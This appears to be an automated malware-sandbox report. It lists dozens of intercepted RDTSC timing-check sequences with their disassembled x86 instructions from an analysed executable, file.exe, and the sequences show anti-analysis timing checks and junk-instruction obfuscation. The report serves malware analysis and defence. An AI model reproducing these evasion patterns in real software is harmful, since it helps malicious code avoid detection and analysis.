Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0128 second address: 4CA0150 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push FFFFFFFEh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov edx, 7580EB86h 0x00000015 mov di, 3A12h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0150 second address: 4CA0163 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0734C6ABEFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0163 second address: 4CA0191 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b call 00007F0734D2B7A9h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov bh, FFh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0191 second address: 4CA01D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 1EF748D2h 0x00000008 mov dx, 201Eh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F0734C6ABF1h 0x00000019 and ax, A7A6h 0x0000001e jmp 00007F0734C6ABF1h 0x00000023 popfd 0x00000024 mov si, 56D7h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA01D2 second address: 4CA01E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA01E1 second address: 4CA01E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA01E5 second address: 4CA02B8 instructions: 0x00000000 rdtsc 0x00000002 mov cl, dl 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F0734D2B7B6h 0x0000000c and ah, FFFFFFA8h 0x0000000f jmp 00007F0734D2B7ABh 0x00000014 popfd 0x00000015 popad 0x00000016 mov eax, dword ptr [eax] 0x00000018 jmp 00007F0734D2B7B9h 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 pushad 0x00000022 mov ebx, 62EBA652h 0x00000027 mov cx, di 0x0000002a popad 0x0000002b pop eax 0x0000002c jmp 00007F0734D2B7B5h 0x00000031 call 00007F0734D2B7A9h 0x00000036 jmp 00007F0734D2B7AEh 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f pushfd 0x00000040 jmp 00007F0734D2B7ACh 0x00000045 add ch, FFFFFFC8h 0x00000048 jmp 00007F0734D2B7ABh 0x0000004d popfd 0x0000004e pushfd 0x0000004f jmp 00007F0734D2B7B8h 0x00000054 jmp 00007F0734D2B7B5h 0x00000059 popfd 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA02B8 second address: 4CA02BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA02BE second address: 4CA02E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d jmp 00007F0734D2B7B4h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA03DE second address: 4CA03E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA03E2 second address: 4CA03F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7AAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA03F0 second address: 4CA0424 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0734C6ABF1h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub esp, 18h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0734C6ABF8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0424 second address: 4CA042A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA042A second address: 4CA042E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA042E second address: 4CA0469 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007F0734D2B7B6h 0x0000000e mov dword ptr [esp], ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F0734D2B7B7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0469 second address: 4CA04B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734C6ABF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F0734C6ABEEh 0x0000000f push eax 0x00000010 pushad 0x00000011 mov si, bx 0x00000014 popad 0x00000015 xchg eax, esi 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F0734C6ABF5h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA04B3 second address: 4CA04CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0734D2B7ABh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA04CA second address: 4CA051A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F0734C6ABEFh 0x00000008 pop esi 0x00000009 call 00007F0734C6ABF9h 0x0000000e pop ecx 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007F0734C6ABF9h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA051A second address: 4CA0536 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0536 second address: 4CA053A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA053A second address: 4CA0540 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0540 second address: 4CA059A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0734C6ABECh 0x00000009 sbb ax, FF18h 0x0000000e jmp 00007F0734C6ABEBh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov eax, dword ptr [75C74538h] 0x0000001c jmp 00007F0734C6ABF6h 0x00000021 xor dword ptr [ebp-08h], eax 0x00000024 jmp 00007F0734C6ABF0h 0x00000029 xor eax, ebp 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA059A second address: 4CA059E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA059E second address: 4CA05A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA05A4 second address: 4CA05F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, dx 0x00000006 mov ecx, ebx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebp 0x0000000c jmp 00007F0734D2B7B6h 0x00000011 mov dword ptr [esp], eax 0x00000014 jmp 00007F0734D2B7B0h 0x00000019 lea eax, dword ptr [ebp-10h] 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F0734D2B7B7h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA05F5 second address: 4CA069C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 push edi 0x00000007 pop ecx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr fs:[00000000h], eax 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F0734C6ABF3h 0x00000018 sbb ch, 0000000Eh 0x0000001b jmp 00007F0734C6ABF9h 0x00000020 popfd 0x00000021 call 00007F0734C6ABF0h 0x00000026 mov edx, ecx 0x00000028 pop eax 0x00000029 popad 0x0000002a mov dword ptr [ebp-18h], esp 0x0000002d pushad 0x0000002e mov eax, edi 0x00000030 mov dl, 8Ch 0x00000032 popad 0x00000033 mov eax, dword ptr fs:[00000018h] 0x00000039 pushad 0x0000003a jmp 00007F0734C6ABECh 0x0000003f mov ch, 89h 0x00000041 popad 0x00000042 mov ecx, dword ptr [eax+00000FDCh] 0x00000048 jmp 00007F0734C6ABEDh 0x0000004d test ecx, ecx 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007F0734C6ABF8h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA069C second address: 4CA06A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA06A2 second address: 4CA06B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0734C6ABEDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90338 second address: 4C90380 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F0734D2B7B6h 0x0000000f push eax 0x00000010 pushad 0x00000011 mov esi, ebx 0x00000013 mov edi, 41554C80h 0x00000018 popad 0x00000019 xchg eax, ebp 0x0000001a jmp 00007F0734D2B7AFh 0x0000001f mov ebp, esp 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90380 second address: 4C90384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90384 second address: 4C90388 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90388 second address: 4C9038E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C9038E second address: 4C903FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7AAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 2Ch 0x0000000c jmp 00007F0734D2B7B0h 0x00000011 xchg eax, ebx 0x00000012 jmp 00007F0734D2B7B0h 0x00000017 push eax 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushfd 0x0000001c jmp 00007F0734D2B7B7h 0x00000021 and ax, 871Eh 0x00000026 jmp 00007F0734D2B7B9h 0x0000002b popfd 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C903FB second address: 4C90442 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F0734C6ABF0h 0x00000008 and esi, 7860F518h 0x0000000e jmp 00007F0734C6ABEBh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 xchg eax, ebx 0x00000018 pushad 0x00000019 pushad 0x0000001a push eax 0x0000001b pop edi 0x0000001c mov ecx, 4080AD19h 0x00000021 popad 0x00000022 movzx eax, dx 0x00000025 popad 0x00000026 push ecx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F0734C6ABEDh 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C904B5 second address: 4C904BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C904BB second address: 4C904BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C904BF second address: 4C904E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub ebx, ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov ah, A4h 0x00000012 mov edi, 184FAC40h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C904E5 second address: 4C90527 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0734C6ABF4h 0x00000009 and ax, B288h 0x0000000e jmp 00007F0734C6ABEBh 0x00000013 popfd 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 sub edi, edi 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F0734C6ABF0h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90527 second address: 4C9054B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 5AF29794h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d inc ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0734D2B7B4h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C9054B second address: 4C90551 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90551 second address: 4C90555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90555 second address: 4C90584 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a pushad 0x0000000b mov ecx, edx 0x0000000d mov edi, 3C8FB9B6h 0x00000012 popad 0x00000013 je 00007F0734C6ADC8h 0x00000019 jmp 00007F0734C6ABEDh 0x0000001e lea ecx, dword ptr [ebp-14h] 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90584 second address: 4C90588 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90588 second address: 4C9058E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C9058E second address: 4C90594 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90594 second address: 4C90598 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90598 second address: 4C905FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [ebp-14h], edi 0x0000000e pushad 0x0000000f call 00007F0734D2B7AEh 0x00000014 jmp 00007F0734D2B7B2h 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushfd 0x0000001d jmp 00007F0734D2B7B1h 0x00000022 sbb ecx, 2DCFFDD6h 0x00000028 jmp 00007F0734D2B7B1h 0x0000002d popfd 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C9062C second address: 4C90630 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90630 second address: 4C90634 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90634 second address: 4C9063A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C906A3 second address: 4C90718 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0734D2B7B0h 0x00000009 jmp 00007F0734D2B7B5h 0x0000000e popfd 0x0000000f call 00007F0734D2B7B0h 0x00000014 pop eax 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 jg 00007F07A5CB9551h 0x0000001e pushad 0x0000001f mov dl, 13h 0x00000021 mov ah, 41h 0x00000023 popad 0x00000024 js 00007F0734D2B803h 0x0000002a jmp 00007F0734D2B7ABh 0x0000002f cmp dword ptr [ebp-14h], edi 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F0734D2B7B5h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90718 second address: 4C9075D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0734C6ABF7h 0x00000008 mov di, si 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jne 00007F07A5BF8949h 0x00000014 jmp 00007F0734C6ABF2h 0x00000019 mov ebx, dword ptr [ebp+08h] 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov ebx, 6C1C1240h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C9075D second address: 4C90762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90762 second address: 4C90845 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 5AB1h 0x00000007 mov ecx, 0277F0EDh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f lea eax, dword ptr [ebp-2Ch] 0x00000012 jmp 00007F0734C6ABF8h 0x00000017 xchg eax, esi 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F0734C6ABEEh 0x0000001f jmp 00007F0734C6ABF5h 0x00000024 popfd 0x00000025 pushfd 0x00000026 jmp 00007F0734C6ABF0h 0x0000002b add si, CD48h 0x00000030 jmp 00007F0734C6ABEBh 0x00000035 popfd 0x00000036 popad 0x00000037 push eax 0x00000038 jmp 00007F0734C6ABF9h 0x0000003d xchg eax, esi 0x0000003e jmp 00007F0734C6ABEEh 0x00000043 nop 0x00000044 jmp 00007F0734C6ABF0h 0x00000049 push eax 0x0000004a jmp 00007F0734C6ABEBh 0x0000004f nop 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 jmp 00007F0734C6ABEBh 0x00000058 call 00007F0734C6ABF8h 0x0000005d pop eax 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90845 second address: 4C90878 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7B0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b mov al, A4h 0x0000000d jmp 00007F0734D2B7B3h 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90878 second address: 4C9087E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C908F0 second address: 4C908F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C908F5 second address: 4C9006B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F0734C6ABEFh 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d test esi, esi 0x0000000f jmp 00007F0734C6ABEFh 0x00000014 je 00007F07A5BF891Eh 0x0000001a xor eax, eax 0x0000001c jmp 00007F0734C4431Ah 0x00000021 pop esi 0x00000022 pop edi 0x00000023 pop ebx 0x00000024 leave 0x00000025 retn 0004h 0x00000028 nop 0x00000029 cmp eax, 00000000h 0x0000002c setne cl 0x0000002f xor ebx, ebx 0x00000031 test cl, 00000001h 0x00000034 jne 00007F0734C6ABE7h 0x00000036 jmp 00007F0734C6AD5Bh 0x0000003b call 00007F07393F3E85h 0x00000040 mov edi, edi 0x00000042 jmp 00007F0734C6ABEBh 0x00000047 xchg eax, ebp 0x00000048 pushad 0x00000049 mov bx, ax 0x0000004c pushfd 0x0000004d jmp 00007F0734C6ABF0h 0x00000052 add esi, 6F587758h 0x00000058 jmp 00007F0734C6ABEBh 0x0000005d popfd 0x0000005e popad 0x0000005f push eax 0x00000060 jmp 00007F0734C6ABF9h 0x00000065 xchg eax, ebp 0x00000066 jmp 00007F0734C6ABEEh 0x0000006b mov ebp, esp 0x0000006d pushad 0x0000006e mov dx, cx 0x00000071 push eax 0x00000072 push edx 0x00000073 mov ax, 18DFh 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C9006B second address: 4C90096 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ecx 0x00000008 jmp 00007F0734D2B7B0h 0x0000000d push eax 0x0000000e jmp 00007F0734D2B7ABh 0x00000013 xchg eax, ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90096 second address: 4C9009C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90D1D second address: 4C90D2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90D2C second address: 4C90D44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0734C6ABF4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90E57 second address: 4C90E77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F07A5CB04ACh 0x0000000e push 75C12B70h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov eax, dword ptr [esp+10h] 0x0000001e mov dword ptr [esp+10h], ebp 0x00000022 lea ebp, dword ptr [esp+10h] 0x00000026 sub esp, eax 0x00000028 push ebx 0x00000029 push esi 0x0000002a push edi 0x0000002b mov eax, dword ptr [75C74538h] 0x00000030 xor dword ptr [ebp-04h], eax 0x00000033 xor eax, ebp 0x00000035 push eax 0x00000036 mov dword ptr [ebp-18h], esp 0x00000039 push dword ptr [ebp-08h] 0x0000003c mov eax, dword ptr [ebp-04h] 0x0000003f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000046 mov dword ptr [ebp-08h], eax 0x00000049 lea eax, dword ptr [ebp-10h] 0x0000004c mov dword ptr fs:[00000000h], eax 0x00000052 ret 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90E77 second address: 4C90E7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90E7B second address: 4C90E7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90E7F second address: 4C90E85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90E85 second address: 4C90E99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edx 0x00000005 mov cx, 53C3h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c sub esi, esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90E99 second address: 4C90E9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90E9F second address: 4C90EA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
